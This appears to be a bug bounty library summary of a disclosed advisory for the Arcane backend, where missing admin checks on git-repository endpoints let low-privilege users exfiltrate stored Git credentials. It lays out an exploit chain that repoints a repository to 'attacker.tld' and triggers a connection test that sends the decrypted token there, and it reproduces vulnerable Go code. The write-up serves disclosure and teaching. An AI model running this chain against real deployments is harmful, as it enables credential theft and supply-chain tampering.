# Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs

Eight Arcane git-repository API endpoints skip checkAdmin, letting any low-priv user repoint a repo URL and force Arcane to send stored PAT/SSH credentials to an attacker host.

- Payout: Research
- Severity: critical
- Program: Arcane
- Found by: offset
- Disclosed: 2026-05-18
- CVE: CVE-2026-45625
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7h26-hg47-p9hx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7h26-hg47-p9hx
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity impact:privesc kind:research platform:ghsa sev:critical tech:go tech:rest technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** huma REST API git repository management endpoints
**Root cause:** The huma auth middleware only enforces authentication, delegating role checks to handlers via checkAdmin; eight of nine git-repository handlers omit that call, and the service layer has no role enforcement. UpdateRepository rewrites URL unconditionally but only rewrites token/ssh_key when supplied, preserving the encrypted secret across a URL pivot.
**Steps:**
1. Authenticate as a normal `user` role account (default role for new registrations).
2. `GET /api/customize/git-repositories` to enumerate repo ids, urls, authType, username.
3. `PUT /api/customize/git-repositories/{id}` with body `{"url":"https://attacker.tld/repo.git"}` — token/sshKey omitted so encrypted PAT is preserved.
4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) — Arcane decrypts the PAT and sends `Authorization: Basic base64(username:token)` to attacker.tld.
5. Optional: `PUT` original URL back to erase config drift, or `DELETE` repos for DoS.
**How found:** Code review: grep for checkAdmin showed every other admin resource (registries, environments, users, apikeys, settings, swarm, system, notifications) calls it, but git_repositories.go only calls it in SyncRepositories; then reading UpdateRepository's partial-update map revealed URL is rewritten unconditionally while token is only rewritten when non-nil, yielding a credential-preserving pivot.
**Exploitation:** Low-priv user retargets an existing repo to an attacker-controlled host while omitting token fields, then triggers /test, /branches or /files; go-git's HTTP transport sends Basic auth with the decrypted PAT in the first ref-discovery request, landing cleartext in the attacker's access log. SSH repos work by retargeting to an attacker SSH endpoint that logs the offered key.
**Escalation:** Stolen PATs typically grant write to source repos, CI secrets and registries, escaping Arcane's boundary; also enables supply-chain injection by swapping repo URL to a malicious fork during sync, and DoS by deleting all repo configs.
**Insight:** When an app delegates authorization to per-handler checks, grep the check helper's call sites and diff the resource families — a single handler file missing the gate is the tell. Then look for partial-update primitives where a pivotable field (URL, host, endpoint) is rewritten unconditionally while the secret field is only rewritten when supplied: that asymmetry turns any 'test connection' feature into a credential exfiltration oracle.

## Proof of concept (copied exactly from the original report)

**PUT retargets repo URL preserving token**

```
PUT /customize/git-repositories/{id}` with body `{"url":"https://attacker.tld/repo.git"}` retargets the repository while preserving the encrypted token.
```

**UpdateRepository partial update map code**

```
updates := make(map[string]any)
if req.Name != nil      { updates["name"] = *req.Name }
if req.URL != nil       { updates["url"]  = *req.URL }   // <-- attacker-pivotable
if req.AuthType != nil  { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil {                                      // <-- only rewritten if supplied
    if *req.Token == "" { updates["token"] = "" } else {
        encrypted, err := crypto.Encrypt(*req.Token)
        ...
        updates["token"] = encrypted
    }
}
```

**Full attack chain steps**

```
1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account).
2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their *existence* is visible).
3. `PUT /api/customize/git-repositories/{id}` with `{"url":"https://attacker.tld/repo.git"}` retargets the repo while preserving the encrypted PAT.
4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth.
```

